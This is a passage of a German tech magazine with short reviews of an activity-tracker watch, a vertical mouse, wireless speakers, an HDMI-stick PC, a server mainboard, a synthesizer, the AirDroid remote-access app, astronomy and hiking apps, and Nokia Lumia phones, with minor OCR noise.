ner Aktivitätstracker mit Bluetooth 4.0. Ein 
Beschleunigungssensor zeichnet alle Bewe- 
gungen auf, der kleine Zeiger auf dem Zif- 
ferblatt zeigt an, wie viel man von seinem 
Tagesziel schon erreicht hat. 

Die Pop gleicht Withings’ erstem Ana- 
loguhr-Aktivitätstracker Activite - ist mit 
150 Euro aber deutlich günstiger als die 
edle „Swiss-Made“-Variante. Laut Withings 
kann die Pop-Uhr automatisch Schwimm- 
bewegungen erkennen und zeigt dann hin- 
terher in der App an, welche Strecke man 
im Wasser zurückgelegt hat. In unserem 
Test mit Firmware-Version 570 funktionier- 
te das allerdings nicht - wir hoffen, dass 
Withings das Problem bis zum offiziellen 
Verkaufsstart am 26. Januar mit einem Soft- 
ware-Update behebt. 

Ansonsten klappte das Aktivitätstracking 
zuverlässig. Anders als andere Tracker zeigt 
die Pop nicht nur einen Zeitstrahl mit der 
Bewegungsintensität an, sondern listet alle 
längeren Spaziergänge (ab ca. fünf Minu- 
ten) mit der zurückgelegten Distanz auf. 
Die Uhr kann Gehen und Laufen unter- 
scheiden, Radfahren erkennt sie nicht. Be- 
hält man die Pop nachts am Armgelenk, 
misst sie automatisch die Schlafqualität - 
allerdings recht oberflächlich, unterschie- 
den wird lediglich zwischen „wach“, 
„Leichtschlaf” und „Tiefschlaf”. 

Alles in allem gefällt uns die Activite Pop 
gut: Sie sieht hübsch aus, fällt nicht als Ak- 
tivitätstracker auf - und vor allem muss 
man sie nicht ständig aufladen: Die Batterie 
hält laut Withings acht Monate lang.  (jkj) 


Aktivitätstracker-Analoguhr 
Hersteller Withings, www.withings.com 
Systemanforderungen i0S-Gerät mit Bluetooth 4.0; Android 


(angekündigt) 
Batterielaufzeit 8 Monate (Herstellerangabe) 
Preis 150 € (exklusiv bei Saturn) 
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Maus mit Gipfel 


Liegt die Hand zu lange auf der Maus, 
kann das anhaltende Schmerzen 
verursachen. Das will die Descano 
Ergonomic Vertical Mouse von 
SpeedLink verhindern. 


Die Descano sieht aus, als habe ein Designer 
einen faustgroßen Lehmklumpen auf den 
Tisch geworfen, ihn schief angesehen, 
die Seiten geknetet und gesagt: „Das passt.” 
Schon der Name „Ergonomic Vertical 
Mouse” erklärt die seltsame Form: Hebt 
man aus einer natürlichen Körperhaltung 
heraus den Unterarm an, zeigt die Handin- 
nenfläche nicht nach unten, sondern zur 
Seite. Und genauso wird die Descano auch 
bedient: Die Hand umfasst die Maus, statt 
darauf zu liegen. 

Auf dem Tisch steht die vertikale Maus 
wie eine kleine Bergspitze. Ihre Oberfläche 
ist komplett gummiert. Auf dem nach 
außen gewölbten Abhang kommen die 
beiden Haupttasten, das Mausrad und ein 
DPI-Knöpfchen unter. Ein Druck auf den 
Knopf verändert die Empfindlichkeit in vier 
Stufen bis zu 2500 dpi - erst aufwärts, dann 
wieder zurück. Das Mausrad ist gerastert, 
dreht sich also nicht frei. 

Der steile Abhang ist leicht eingedellt. 
Am unteren Rand dieser Kuhle liegen zwei 
Daumentasten, die mit Vor und Zurück be- 
legt sind. Für große Hände liegen die Tasten 
unglücklich: Die selten genutzte Vor-Taste 
erreicht der Daumen gerade noch so; für die 
Zurück-Taste muss man umgreifen. Da 
SpeedLink keinen Treiber bereitstellt, muss 
man zur Anpassung ein Zusatz-Tool wie „X- 
Mouse Button Control” nehmen. 

Die Descano ist eine der günstigeren 
vertikalen Mäuse auf dem Markt. Anfangs 
„verreißt“ man beim Zugreifen gelegentlich 
den Mauszeiger; das gibt sich aber mit der 
Zeit. Dabei gewöhnt man sich auch daran, 
dass sich der Mausklumpen nicht dazu eig- 
net, die Hand darauf auszuruhen. Linkshän- 
der müssen leider draußen bleiben. (ghi) 


SpeedLink Descano Ergonomic 
Vertical Mouse 


Ergonomische Maus 


Hersteller SpeedLink, www.speedlink.com 
technische Eigenschaften 2500 dpi, 172g 
Preis ne 
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HiFi-Funken 


Mehrraumsysteme wie Sonos sind 
nicht unbedingt etwas für HiFi- 
Puristen. Dynaudio will das ändern. 


Mit der Xeo-Serie richtet sich das Dynaudio 
an ambitionierte HiFi-Fans, die Musik ver- 
lustfrei ohne Kabel in mehreren Räumen ver- 
teilen wollen. Das System besteht derzeit 
aus den Standlautsprechern Xeo 6 (je 1500 
Euro), den Regallautsprechern Xeo 4 (je 
850 Euro), dem Streaming-Client Xeo Link 
(150 Euro) und den Netzwerkkomponenten 
Extender (150 Euro) und Hub (250 Euro). Wir 
testeten ein Set bestehend aus dem 
Xeo Hub und zwei Xeo 4. 

Alle Xeo-Komponenten nutzen einen pro- 
prietären Funkstandard im 2,4- und 5-GHz- 
Band, der Musik verlustfrei mit bis zu 24 Bit 
Wortbreite bei einer Abtastrate von 96 KHz 
transportieren soll. Die Einrichtung erfolgt 
über Schiebeschalter: Die Xeo 4 lassen sich 
als Mono-, rechter oder linker Kanal nutzen 
und einer von drei Klangzonen zuordnen. 

Musik empfängt das System derzeit aus- 
schließlich über die vier Eingänge des 
Xeo Hub - per Bluetooth oder WLAN lässt 
er sich nicht ansprechen. Er ist mit einem 
analogen, zwei digitalen und einem USB- 
Eingang ausgestattet. Über letzteren lässt 
sich der Hub als externe Soundkarte am PC 
oder Notebook betreiben. An der Rückseite 
findet sich auch ein Ethernet-Anschluss, der 
ist laut Handbuch allerdings nur für „zu- 
künftige Funktionen” vorgesehen. Die Be- 
dienung erfolgt denn auch nicht per App, 
sondern über eine kleine IR-Fernbedie- 
nung. Die Xeo-4-Lautsprecher arbeiten au- 
tark und sind jeweils mit einer eigenen di- 
gitalen Endstufe (100 Watt RMS) ausgestat- 
tet. Der Klang ist neutral und kraftvoll. Für 
den Massengeschmack kommen die Laut- 
sprecher zu bassarm rüber, für den HiFi-Pu- 
risten sind sie gerade richtig. 

Der Klang gefällt, mit der Netzwerkerei 
hapert es noch. Wer die Xeos nicht nur als 
Insellösung betreiben will, sollte sich gedul- 
den, bis Dynaudio die „zukünftigen Funktio- 


nen” umgesetzt hat. (sha) 
2x Xeo4/Xeo Hub 
Funk-Lautsprechersystem 
Hersteller Dynaudio, www.dynaudio.com 


Übertragung Wireless (2,4 und 5 GHz), lossless bis 24/96 
Preis 1950 € 
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kurz vorgestellt | PC im HDMI-Stick-Format 


PC im HDMI-Stick-Format 


Einfache Zutaten, clevere Idee: 

Aus einem eigentlich für Tablets 
gedachten Quad-Core-Prozessor baut 
Hannspree einen Windows-8.1-PC 

im Format eines HDMI-Sticks. Der 
SNNPDI1B-R8Q01 verwandelt einen 
gewöhnlichen Fernseher nicht nur in 
einen Smart-TV, sondern verspricht 
einen vollwertigen PC. 


Mit 0,24 respektive 0,75 Punkten in den Sin- 
gle- und Multi-Thread-Disziplinen des Cine- 
bench liegt der Atom Z3735F mit seinen vier 
Kernen und 1,33 GHz in etwa auf dem Ni- 
veau von Billig-Netbooks mit Tablet-Prozes- 


Der Vierkern-Atom in dem Mini-PC kann 
seine volle Kraft nicht entfalten, weil das 
Kühlsystem unterdimensioniert ist. 


sor. In der Praxis laufen aber bereits 720p- 
Videos nicht völlig ruckelfrei. Full-HD-Film- 
chen von YouTube stottern unerträglich. 
Die Erklärung dafür liefert das Leistungs- 
messgerät: Braucht der Winzling im Leerlauf 
gerade einmal 2,1 Watt, sind es bei der 
Video-Wiedergabe schon 6 Watt. Auf Dauer 
schafft es aber das kleine Plastikgehäuse 
nicht, so viel Wärme abzuführen. Bei voller 
Last hält der Winzling den Nominaltakt nicht 
lange, vom 1,83-GHz-Turbo ganz zu schwei- 
gen. Unter CPU-Volllast (Prime95) drosselt er 
sich auf 500 MHz. Kommt auch noch die Gra- 
fikeinheit (Furmark) dazu, sinkt die Taktfre- 
quenz sogar unter 100 MHz. In beiden Fällen 
pendelt sich die primärseitige Leistungs- 
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aufnahme durch diese Schutzmaßnahme 
auf 3,8 Watt ein. 

Der Arbeitsspeicher reicht mit 2 GByte zum 
Surfen aus, wer aber mehrere moderne An- 
wendungen parallel nutzt, braucht mehr. Der 
32 GByte fassende eMMC-Speicher ist beim 
Lesen mit 167 MByte/s zwar schneller als eine 
magnetische 2,5-Zoll-Festplatte, schreibt Da- 
ten aber nur mit 46 MByte/s. Nachrüsten kann 
man nur mit MicroSD-Karten oder externen 
Laufwerken. Allerdings konkurrieren die dann 
mit Maus, Tastatur und anderer Peripherie 
um die einzige USB-2.0-Buchse - das erheb- 
lich schnellere USB 3.0 fehlt. Die einzige 
Micro-USB-Buchse ist für die Stromversor- 
gung reserviert. Immerhin kann man für Maus 
und Tastatur auf Bluetooth 4.0 ausweichen. 
Ins Netz geht es nur per WLAN (IEEE 802.11n), 
eine Ethernet-Buchse fehlt. Audio liefert der 
PC ausschließlich per HDMI an den Fernseher, 
einen analogen Kopfhörerausgang gibt es 
ebenso wenig wie einen Mikrofoneingang. 


Turnübung: Einschalten 


Der winzige Power-Taster an der Seite ist nur 
schwer zugänglich, insbesondere wenn man 
den Stick direkt in eine rückwärtige Buchse 
eines Fernsehers oder Monitors gesteckt hat. 
Noch ärgerlicher ist, dass das vorinstallierte 
Windows 8.1 mit Bing sämtliche Standby- 
Modi verweigert. So kann man den PC nicht 
einmal schlafen schicken und bei Bedarf per 
Tastatur wieder wecken. Die Installation 
eines anderen Betriebssystems dürfte schwer 
werden, weil der 32-Bit-UEFI-Firmware ein 


_ BIOS-kompatibler Startmodus fehlt. 


Die Baugröße des 190 Euro teuren 

HDMI-Sticks imponiert - immerhin 
steckt ein Windows-8-PC drin. Insge- 
samt konnte uns der Winzling aber nicht 

überzeugen, weil er bei der wohl wich- 
tigsten Aufgabe patzt - dem Abspielen 
von HD-Videos. Mit einem leisen aktiven 
Kühlsystem, mehr USB-Ports und vor allem 
einer besser an den Einsatzzweck angepass- 
ten Firmware hätte ein solcher HDMI-Stick al- 
lerdings das Potenzial, so manche Smart- 
Funktion von Fernsehern auszustechen. Die- 
se Einschätzung dürfte übrigens auch für den 
vermutlich baugleichen Windows-8-PC im 
HDMI-Stick-Format Meego Pad MI alias 
Meego-T01 von Shenzhen T.D.S. Electronic 
Technology sowie den Orbsmart AW-O1gel- 
ten. Alle drei stammen letztlich aus dem 
Hause Quanta, dort heißt das Produkt NH. 
(bbe) 


CE Weitere Bilder: ct.de/y4dh 


Hannspree SNNPDI1B-R8Q01 


Windows-8.1-PC im HDMI-Stick-Format 
Abmessungen 10cmx3,7cmx.0,5 cm 
Prozessor Atom ZZ3735F, 4 Kerne, 1,33 GHz 
RAM / SSD 2 GByte / 32 GByte eMMC 


Anschlüsse 1x USB 2.0, MicroSD-Reader, WLAN (802.11n), 
Bluetooth 4.0 


Lieferumfang HDMI-Verlängerungskabel (20 cm), Netzteil 
(10 Watt), USB-Stromkabel (1 m) 


Preis 190 € 
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kurz vorgestellt | Server-Mainboard 


Server mit Extras 


Asrock Rack - die Serversparte 
der Firma Asrock - hat das Main- 
board C226M WS für kompakte 
Workstations und Server mit 
ECC-Speicher entwickelt. 


Dem C226M WS merkt man an, dass Asrock 
auch viele Mainboards fertigt, die PC-Bastler 
im Einzelhandel kaufen: Das BIOS-Setup bie- 
tet flexible Einstellmöglichkeiten, die typi- 
schen Serverboards fehlen. Praktisch sind 
auch die Diagnose-LEDs, die in der Start- 
phase POST-Codes zeigen. Das C226M WS 
ließ sich problemlos in Betrieb nehmen. Ein- 
zige Panne: Unsere M.2-SSDs mit PCle-Con- 
trollern von Plextor und Samsung waren im 
M.2-Slot erst nach einem BIOS-Update nutz- 
bar. 

Von den sechs SATA-6G-Ports sind zwei 
mit einer der künftig erwarteten SATA-Ex- 
press-SSDs nutzbar, alternativ wird einer 
davon mit der M.2-Fassung verbunden, 
wenn dort eine SATA-SSD steckt. 

Mit einer SSD arbeitete das C226M WS im 
Leerlauf mit 16 Watt sparsamer als jedes 
andere bisher im c’'t-Labor vermessene 
LGA1150-Serverboard mit C222-, C224- oder 
C226-Chipsatz. Schaltet man im BIOS-Setup 
noch die Hot-Plug-Funktion der SATA-Ports 
ab und installiert den Intel-RST-Treiber, sind 
unter Windows Server 2012 R2 sogar 
14,4 Watt erreichbar. 

Anders als auf vielen Serverboards sitzt 
auf dem C226M WS kein separater Fernwar- 
tungschip mit Grafikprozessor, sondern es 
ist für einen Prozessor mit eingebauter GPU 
ausgelegt: also einen Celeron, Pentium, Core 
i3 oder Xeon E3-12x5. Bei letzteren markiert 
die Ziffer 5 in der Typenbezeichnung die in- 
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tegrierte Grafik. Per DisplayPort lassen sich 
ab Core i3 auch 4K-Displays mit 60 Hz an- 
steuern. Core i5 und i7 laufen zwar ebenfalls, 
aber damit funktioniert der ECC-Fehler- 
schutz nicht - selbst wenn ECC-RAM drin- 
steckt. 

Intels Server-Fernwartung am Ethernet- 
Port des 1217-LM bietet Basisfunktionen wie 
die Möglichkeit, das System aus der Ferne 
neu zu starten. Für den 1210-AT liefert 
VMware einen Treiber für vSphere/ESXi 5.x. 
Im Setup des jüngsten BIOS lässt sich das 
Laden der Option-ROMs bestimmter PCle- 
Karten verhindern, um das Boot-Medium ge- 
zielt zu wählen. 

Das C226M WS leistet, was man erwartet, 
und arbeitet obendrein effizient. Es ist eine 
attraktive Alternative zu den wenigen 
Single-Socket-Serverboards mit vergleich- 
barer Ausstattung von Asus und Super- 


micro. (ciw) 
Asrock Rack C226M WS 
Server-Mainboard für LGA1150-Prozessoren 
Hersteller Asrock Rack, www.asrockrack.com 
Chipsatz/Format (226 (Lynx Point)/Micro-ATX 
BIOS C226M WS P1.22 
RAM (Slots/Typ/ 4/DDR3-1600 mit oder ohne ECC/ 
max. Kapazität) 32 GByte 


PCle-Steckplätze 1x 3.0x16/1 x 3.0 x8/1 x 2.0x4/M.2 
Gigabit Ethernet 1x Intel 1217-LM, 1x Intel 1210-AT 


Anschlüsse extern je1x DP, HDMI, DVI-D, VGA, 2 x Ethernet, 
2x USB3.0,4x USB 2.0, PS/2, 3 x Audio- 
Klinke 


Anschlüsse intern 6x SATA 6G (davon 2 als SATAe nutzbar), 
2x USB 2.0,2 x USB 3.0, COM-Port (RS- 
232), Thunderbolt-Adapter, 4x 4-Pin- 
Lüfter, ATX 24-pol., EPS12V, TPM 


Leistungsaufnahme 16/109 Watt (Core i5-4690, Enermax 
Leerlauf/CPU-Last Triathlor ETL300AWT) 


Lieferumfang ATX-Blende, 4 SATA-Kabel, Treiber-DVD 
Preis zirka 170€ 
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kurz vorgestellt | Synthesizer, Smartphone-Fernsteuerung 


Bass erstaunt 


Rolands System-1 lädt den Sound 
alter Synthies aus Software-Modulen. 


Das Besondere am System-1 ist nicht seine 
interne Klangerzeugung, die sich der virtu- 
ellen Emulation einer subtraktiven Klang- 
synthese mit zwei Oszillatoren, eines LFOs 
und eines Filters bedient. Der harte, digitale 
Klang setzt einen Kontrapunkt zum analo- 
gen Moog-Sound. Der wirkliche Clou ver- 
birgt sich hinter dem Knopf „Plug-out”, mit 
dem der System-1 die virtuelle Klangerzeu- 
gung aus einem Software-Synthesizer-Plug- 
in übernimmt und ohne Rechner weiter- 
spielt. Die Software-Plug-ins lassen sich 
zudem ganz normal in DAWs einbinden 
und dort auch ohne den System-1 spielen. 
Käufer des System-1 erhalten eine exzellen- 
te Simulation des Bass-Synthies SH-101 von 
1983, dessen charakteristischer Klang zahl- 
lose Elektro-Produktionen geprägt hat. 
Allein dafür lohnt bereits die Anschaffung. 

Mit dem Rechner verbunden fungiert 
der System-1 als MIDI-Controller, über des- 
sen gut verarbeitete Drehknöpfe man alle 
Parameter direkt im Griff hat. Bedauer- 
licherweise reagiert die Tastatur (wie auch 
die Software-Plug-ins) nicht anschlagdyna- 
misch und hat einen geringen Hub. Im Sys- 
tem-1 gibt es leider nur acht Speicherplät- 
ze für Patches, was viel zu wenig ist. An- 
sonsten funktioniert das Zusammenspiel 
tadellos. 

Als zweiten Software-Synth mit Plug- 
out-Unterstützung bietet Roland den SH-2 
von 1978 auch als einzelnes Plug-in an. 
Sound-Tüftler erwarten knallige Bässe, fette 
Drums und charaktervolle Leads, wie sie 
kaum ein anderer Software-Synth liefert. 
Bei dem coolen Konzept darf man ge- 
spannt sein auf weitere Module. (hag) 


CE Video: ct.de/yarm 


Aira System-1 


Hardware-Synthesizer mit Software-Modulen 
Hersteller Roland, www.rolandmusik.de 


An- USB 2.0, 2 X Klinke Out, Kopfhörer, 
schlüsse Pedal-Switch/Expression, MIDI In/Out 


Systeme Windows ab 7, 0S X ab 10.8.5 


Software Audio-Treiber (24 Bit /96 kHz), 
SH-101 Software-Synth (VST 3, AU) 


Preise System-1 600 €, SH-2 Plug-out 75€ (110€) 
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Android-Fernbedienung 


Mit AirDroid bekommt der PC Zugriff 
auf die Dateien, SMS, Fotos und 
Kontakte eines Android-Smart- 
phones. Gerootete Geräte kann 

man sogar fernsteuern. 


Die Android-App AirDroid stellt ihre Diens- 
te per Web-Interface bereit. Befindet sich 
der fernsteuernde PC im gleichen Netz- 
werk, wählt der Nutzer einfach im Browser 
die lokale IP des Android-Geräts an. Dann 
hat er Zugriff auf alle Dateien, kann Fotos 
ansehen und löschen, Musik und Videos auf 
dem PC abspielen, Kontakte bearbeiten, 
Klingeltöne festlegen und die APKs instal- 
lierter Apps herunterladen. SMS kann man 
lesen, löschen (nicht unter Android 4.4.x) 
und auch versenden. 

Zudem zeigt der PC die Statusmeldun- 
gen des Handys an, also beispielsweise ein- 
gehende Threema- oder WhatsApp-Nach- 
richten. Er kann die Kamera des Smart- 
phones einschalten, auf einigen Geräten al- 
lerdings ohne Autofokus. Ankommende 
Anrufe bekommt man am PC mitgeteilt 
und kann sie ablehnen, nicht aber anneh- 
men. Ausgehende initiiert man vom PC, 
muss sie aber dann am Handy führen. 

Per Webdienst web.airdroid.com finden 
sich die Geräte auch über Netzgrenzen hin- 
weg, beispielsweise wenn das Smartphone 
per Mobilfunk im Internet hängt. Auch eine 
Ortung des Handys ist dann möglich. 

Das Starten oder Fernsteuern von Apps 
ist nur auf gerooteten Geräten möglich, man 
benötigt dazu den (sonst mäßig nützlichen) 
Windows- oder Mac-OS-Client. Die Ton- 
ausgabe wird dabei nicht übertragen. 

AirDroid ist kostenlos und bei direkter 
Verbindung nicht eingeschränkt. Verbindun- 
gen über den Webdienst sind auf zwei Gerä- 
te pro Konto beschränkt, der Dateitransfer 
über Netzgrenzen hinweg auf 200 MByte 
pro Monat. Für 2 US-Dollar im Monat be- 
kommt man unter anderem unbegrenzten 
Traffic und verwaltet sechs Geräte. (jow) 


AirDroid 3.0 


Android-Fernzugriff per Browser 
Hersteller Sand Studio, www.airdroid.com 


Preis kostenlos (uneingeschränkter Fernzugriff 
2 US-$ pro Monat) 
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kurz vorgestellt | Outdoor-Navi-App, virtuelles Planetarium 


Alpentouren in HD 


Die Navi-App 3D Outdoor Guides 
rendert Freizeittouren auf äußerst 
hochaufgelösten Geländemodellen. 
Diese lassen sich für derzeit 

60 Alpenregionen offline nutzen. 


Wer die Alpen zu Fuß oder auf Skiern er- 
kunden will, kann sich mit den käuflichen 
Karten zur Gratis-App 3D Outdoor Guides 
optimal darauf vorbereiten. Die interakti- 
ven Karten des Anbieters 3D Reality Maps 
zeigen sehr viel feinere Details und höher 
aufgelöste Höhenprofile als etwa die Satel- 
litenansichten von Google Earth. Jeder Fels- 
brocken, den man nicht mit einem großen 
Schritt übersteigen könnte, ist darin er- 
kennbar und wird auch bei den einblend- 
baren Touren-Vorschlägen berücksichtigt. 
Viele Routen sind ebenso wie Bergbahnen 
und Sessellifte schon in der Karte enthalten, 
weitere kann man selbst aufzeichnen und 
mit einer Community teilen. In allen Fällen 
zeigt die App ganz plastisch, wie steil der 
Weg an jedem Punkt ist. Gebietsübergrei- 
fend sind Straßen- und topografische Kar- 
ten von OpenStreetmap online verfügbar. 
Routen zur Anreise kann die App damit 
aber nicht ermitteln. 

Die Aufgabe, in der Luftbild-Ansicht 
einen bestimmten Blickwinkel genau einzu- 
stellen, gestaltete sich im Test recht frieme- 
lig. Dafür reagiert die Software angenehm 
zügig auf Positionsänderungen. Außer 
60 Wanderkarten sind momentan 11 Kar- 
ten speziell für Mountainbiker und 2 für Ski- 
läufer erhältlich, die jeweils auch passende 
Begleitinfos enthalten, etwa über Berghüt- 
ten und aktuelle Veranstaltungen. Zusam- 
men mit einer Karte belegt die App rund 
50 MByte, lässt sich aber nicht auf SD-Karte 
auslagern. Es gibt viele Apps mit ähnlichen 
Grundfunktionen, diese sticht Outdoor 
Guides aber mit seinem besseren Karten- 
material eindrucksvoll aus. (hps) 


CE Alle Kartenangebote: ct.de/ym51 


3D Outdoor Guides 


Freizeit-Tourenplaner 

Hersteller 3D RealityMaps 

Systemanf. Android ab Version 3.0; i0S ab Version 6.0 
Preis kostenlos; Karten je 7,99 € 
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Redshiftchen 


Redshift Discover Astronomy ist eine 
Light-Variante des App-Klassikers 
Redshift. Die Zielgruppe bilden 
astronomiebegeisterte Laien. 


Das digitale Planetarium zeigt die Ansicht 
des Himmels für beliebige Zeitpunkte zwi- 
schen den Jahren 1900 und 2100. Es erlaubt 
einen tiefen Zoom, mit dem es sogar den 
Planeten Neptun bildschirmfüllend darstel- 
len kann. Die App macht Spaß: 3D-Flüge zu 
Objekten unseres Sonnensystems bieten 
spannende Ansichten von Planeten und 
Monden. Die Funktion „Himmel scannen” 
wertet Kompass und Lagesensor aus: Hält 
man das Gerät gen Himmel, zeigt die App 
den passenden Ausschnitt an. Das „Astrono- 
mie entdecken“-Menü vermittelt etwas 
Grundwissen über Planeten und Sterne und 
führt einige Konstellationen vor. 

Die detailverliebte Grafik und die ein- 
gängige Navigation der großen Ausgabe 
finden sich eins zu eins in der Einsteiger- 
version wieder. So wandert etwa bei einer 
Sonnenfinsternis aus Sicht unseres Mon- 
des ein Schattenfleck über die Erdoberflä- 
che. Wer diese günstige App-Version 
wählt, muss vor allem bei der Konfigurier- 
barkeit der Ansicht Abstriche machen: Ob- 
jektgruppen lassen sich nicht einzeln aus- 
blenden, Darstellung und Beschriftungen 
sind nur grob anpassbar. Auch der für Te- 
leskopbesitzer wichtige Nachtmodus, der 
die Darstellung auf Rottöne umschaltet, 
fehlt. 

Für interessierte Einsteiger, Laien und 
Kinder ist die App empfehlenswert. Sie eig- 
net sich gut für eine übersichtliche Ansicht 
des Nachthimmels und um durch die Tiefen 
unseres Sonnensystems zu surfen. Ambitio- 
nierte Hobbyastronomen werden damit al- 
lerdings kaum glücklich - sie greifen lieber 
gleich zum vollwertigen Redshift oder Ähn- 
lichem (siehe c’t 21/14, S. 126). (jss) 


EE iTunes-Link: ct.de/ygsd 


Redshift Discover Astronomy 


Planetarium-App 


Hersteller USM, www.usm.de 
Betriebssystem i0S ab 5.1 
Preis 2,99€ 
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Prüfstand | Smartphones mit Windows Phone 


Achim Barczok, Jan Schüßler 


Ungleiche 
Geschwister 


Windows-Phones 


Nokia Lumia 730, 735 und 830 


Die Lumia-Smartphones 730, 735 und 
830 sind Microsofts neue Mittelklasse: 
ordentliche Hardware mit aktueller 

Software und für die Preisklasse über- 


zeugenden Foto-Kameras. 


s sind die letzten Lumia- 

Smartphones, die noch den 
Schriftzug „Nokia“ auf der Rück- 
seite tragen - künftig lässt Micro- 
soft den Namen des finnischen 
Ex-Herstellers weg. Optisch pas- 
sen das Lumia 730, 735 und das 
830 jedenfalls noch perfekt in 
die Smartphone-Reihe aus dem 
Hause Nokia: Alle drei gibt es in 
quietschbunten Farben, und alle 
drei sind mit der aktuellen Ver- 
sion von Microsofts kacheligem 
Mobilbetriebssystem Windows 
Phone 8.1 Update 1 und der 
Lumia-spezifischen Erweiterung 
Denim ausgestattet. 

Mit Version 8.1 kommt Win- 
dows Phone nahe an Android 
und iOS heran: Von einer schi- 
cken Bedienoberfläche über die 
übersichtliche Nachrichten-Zen- 
trale mit Schnellstartleiste bis hin 
zu nützlichen Software-Paketen 
wie die Offboard-Navigation 
Here Maps ist alles dabei. Außer- 
dem können Apps nun auch auf 
SD-Karte ausgelagert werden, 
sodass die kleinen Flash-Spei- 
cher der drei Testgeräte ver- 
schmerzbar sind. Doch vor allem 
beim App-Angebot hinkt Win- 
dows Phone hinterher. Die 
Sprachassistenz Cortana ist auf 
den Geräten nicht vorinstalliert, 
kann aber als deutschsprachige 
Alpha-Version auf der Entwick- 
lerseite von Microsoft herunter- 
geladen werden (siehe c't-Link). 


Nokia Lumia 730/735 


Die 73x-Reihe von Nokia Lumia 
gibt es in zwei fast baugleichen 
Varianten: als Lumia 730 mit 
zwei SIM-Slots und als Lumia 
735 mit LTE-fähiger Nano-SIM 
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und drahtloser Ladetechnik. Die 
Kamera auf der Frontseite hat 
ein vergleichsweise hochwerti- 
ges 5-Megapixel-Weitwinkelob- 
jektiv eingebaut, mit dem man 
auch einen Gruppen-Selfie ohne 
Verrenkungen hinbekommt. Die 
Bildqualität ist vor allem in 
puncto Farbrauschen um eini- 
ges besser als bei den meisten 
Frontkameras, aber immer noch 
weit von einer ordentlichen 
Rückseitenkamera entfernt. 

Lieber schießt man Fotos 
deshalb mit der Kamera auf der 
Rückseite: Für ein Smartphone 
unter 200 Euro macht die vom 
Lumia 730 überraschend gute 
Bilder, die scharf - wenn auch 
softwareseitig stark nachge- 
schärft - sind und zumindest in 
der Mitte schöne Farben zeigen, 
zu den Rändern hin entdeckten 
wir auf vielen Bildern einen 
leichten Grünstich. Die in den 
Datenblättern angegebene Auf- 
lösung von 6,7 Megapixeln ist 
nur ein theoretischer Wert, 
denn sowohl bei 4:3- als auch 
16:9-Aufnahmen beschneidet 
die Kamera-Software die Fotos 
auf 6,1 beziehungsweise 5,3 
Megapixel. 


Die Pureview- 
Kamera des 830 
macht gute 
Fotos, die die 
Software aller- 
dings stark 
nachschärft. 


Ebenfalls ungewöhnlich in der 
Preisklasse ist das 4,7 Zoll große 
AMOLED-Display. Es zeigt satte 
Farben und hat einen hervor- 
ragenden Kontrast, der beim Ka- 
chel-Design besonders schön 
zur Geltung kommt. Der Herstel- 
ler verwendet allerdings ein Pen- 
tile-Pixelraster, das mit einer ver- 
ringerten Anzahl von roten und 
blauen Subpixeln auskommen 
muss - je nach Farbe wirken klei- 
ne Schriften deshalb fransig. 

Das Gehäuse ist aus Plastik 
und relativ leicht. Der Sitz der 
farbigen Rückschale ist gut, aber 
nicht perfekt: Wer an den Ecken 
des Gehäuses herumdrückt, be- 
merkt hin und wieder ein leich- 
tes Knarzen. In der hochglänzen- 
den („glossy“) orangenen Varian- 
te ist es zudem recht rutschig 
und anfällig für Fingerabdrücke; 
die Cover in Grün, Schwarz und 
Weiß sind matt und griffiger. Ge- 
spart hat Nokia bei den Tasten: 
Die sonst bei teureren Lumia- 
Smartphones übliche Fototaste 
fehlt, die Buttons für „Zurück“, 
„Home“ und „Suche“ sind virtuell 
und nicht so gut zu bedienen 
wie die Sensortasten anderer 
Smartphones. 
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Nokia Lumia 830 


Über den Lautsprecher der 
730er-Geräte fiel im Test bei der 
Wiedergabe ein hochfrequentes, 
fiependes Rauschen auf. Diesen 
Effekt gibt es auch bei anderen 
Smartphones, bei denen man al- 
lerdings meist genau hinhören 
muss; beim Lumia 730 ist der Ef- 
fekt unangenehm. 


Nokia Lumia 830 


Das Lumia 830 ist das erste Mit- 
telklasse-Smartphone, das No- 
kias bisher den High-End-Gerä- 
ten vorbehaltene Kamera-Tech- 
nik „Pureview“ verpasst be- 
kommt. Die Fotoqualität ist gut, 
aber nicht außergewöhnlich: Die 
Bilder sehen scharf und farbkräf- 
tig aus, sind aber in den Ecken 
leicht unscharf und genauso wie 
beim 730 stark nachbearbeitet. 
Der Vorteil gegenüber dem 
Lumia 730 besteht vor allem in 
der höheren Auflösung (theore- 
tisch 10 Megapixel, praktisch 9,3 
bzw. 8,3), der mechanischen Fo- 
totaste und dem optischen Bild- 
stabilisator. Letzterer sorgt selbst 
bei schlechten Lichtbedingun- 
gen für scharfe Bilder. An die 
Bildqualität der Kameras von 
iPhone 6 Plus oder Galaxy Note 4 
kommt das Lumia 830 aber lange 
nicht heran. Videos nimmt die 
Kamera mit maximal Full HD auf, 
die Ergebnisse sind ordentlich. 
Das Gehäuse sieht ein ganzes 
Stück edler aus und fühlt sich 
hochwertiger an als das des 730, 
ist aber auch schwerer. Der Alu- 
Rahmen schließt sauber am Dis- 
play ab, der rückseitige farbige 
Plastikdeckel ist eingeklickt und 
sitzt fest - insgesamt ein gelun- 
gener Mix aus schick und schrill. 
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Prüfstand | Smartphones mit Windows Phone 


Laufzeiten 
Video (max. Helligkeit) [h] 3D-Spiel (max. Helligkeit) WLAN-Surfen (max. 
besser» [h] besser» Helligkeit) [h] besser» 
NokiaLumia 730 MEEEEEEEEEEEEEEEEE 9,6 HEN 4,6 CE 7,7 
NokiaLumia 735 EEE 94 BEE 4,5 EEE 5 
NokialLumia830 mem 6,5 EN 3,5 EEE 5,5: 
NokiaLumia930 mmEEEEEEEEEEN 6,6 BE 2,4 EEE 5,5 


Alle Laufzeiten bei max. Helligkeit gemessen (ca. 300 cd/m?, da der übliche 't-Laborwert 
von 200 cd? nicht einstellbar); Spiel: Asphalt 8; Surfen: Abruf einer Standard-Webseite alle 30 s 


Das mit 5 Zoll Diagonale 
ziemlich große Display nutzt IPS- 
Technik - dadurch ist es nicht so 
farbkräftig und kontrastreich wie 
das des Lumia 730, sieht aber 
trotzdem schön aus und wirkt 
aufgrund der normalen RGB- 
Pixelstruktur schärfer. 

Die technische Ausstattung ist 
im Vergleich zur Android-Mittel- 
klasse eher mau und der des 
Lumia 730 sehr ähnlich: unter 
anderem nur 1 GByte RAM, 16 
GByte (erweiterbarer) Flash-Spei- 
cher und ein Snapdragon 400 
mit 4 Kernen bei 1,2 GHz. Das 
macht aber nichts, weil Windows 
Phone darauf trotzdem schnell 
und flüssig läuft. 

Enttäuschend sind die Akku- 
laufzeiten: Das Smartphone hält 
gerade so über den Tag, im La- 
